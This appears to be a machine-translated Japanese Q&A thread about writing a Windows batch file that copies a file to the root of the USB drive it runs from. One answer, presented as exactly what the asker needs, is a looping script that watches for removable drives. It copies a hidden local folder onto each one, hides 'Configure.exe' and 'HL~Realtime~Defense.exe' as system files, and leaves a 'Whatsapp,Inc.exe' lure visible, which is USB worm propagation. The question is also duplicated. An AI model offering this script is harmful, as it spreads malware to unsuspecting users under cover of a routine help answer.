USBフラッシュドライブのように.batファイルが配置されているルートフォルダーに、任意のDirからファイルをコピーするバッチファイルを作成したいと考えています。
私の不完全なコマンド:
xcopy /s "%userprofile%\Desktop\test.txt" "?"
「?」に置き換えられるものは何ですか? ??? みんなありがとう
USBフラッシュドライブのように.batファイルが配置されているルートフォルダーに、任意のDirからファイルをコピーするバッチファイルを作成したいと考えています。
私の不完全なコマンド:
xcopy /s "%userprofile%\Desktop\test.txt" "?"
「?」に置き換えられるものは何ですか? ??? みんなありがとう
xcopy /s "%userprofile%\Desktop\test.txt" "\"
あなたがする必要があるのは、USB ディレクトリの相対パスを使用することです。コードは次のようになります。
@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause
これにより、フォルダーのコピー元/その名前のプロンプトに入ることができます。ファイルには元のファイルと同じ名前が付けられ、元の形式 (.txt など) が維持されます。反対票を投じるのではなく、これがうまくいかない場合はお知らせください。できるだけ早く別の解決策を考えます。頑張ってください!
@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
echo %%c is Removable
cd "%USERPROFILE%\Appdata\Local\SystemSettings"
xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
ATTRIB +H -R +S %%cConfigure.exe
ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
ATTRIB -H -R -s %%cWhatsapp,Inc.exe
timeout /nobreak /t 99
goto loop
まさにあなたが必要とするものです
USBドライブのドライブ文字に置き換えてから、次のようにする必要があります:\
。したがって、本当の問題は、システム内のどのドライブがUSBフラッシュドライブであるかを判断する方法です。コードは次のとおりです。
@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%
for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del %OUTTEXTFILE%
del %INTEXTFILE%
ただし、1 つのリムーバブル ディスクに対してのみ機能することを考慮してください。このタイプのデバイスが 2 つ接続されていると失敗します。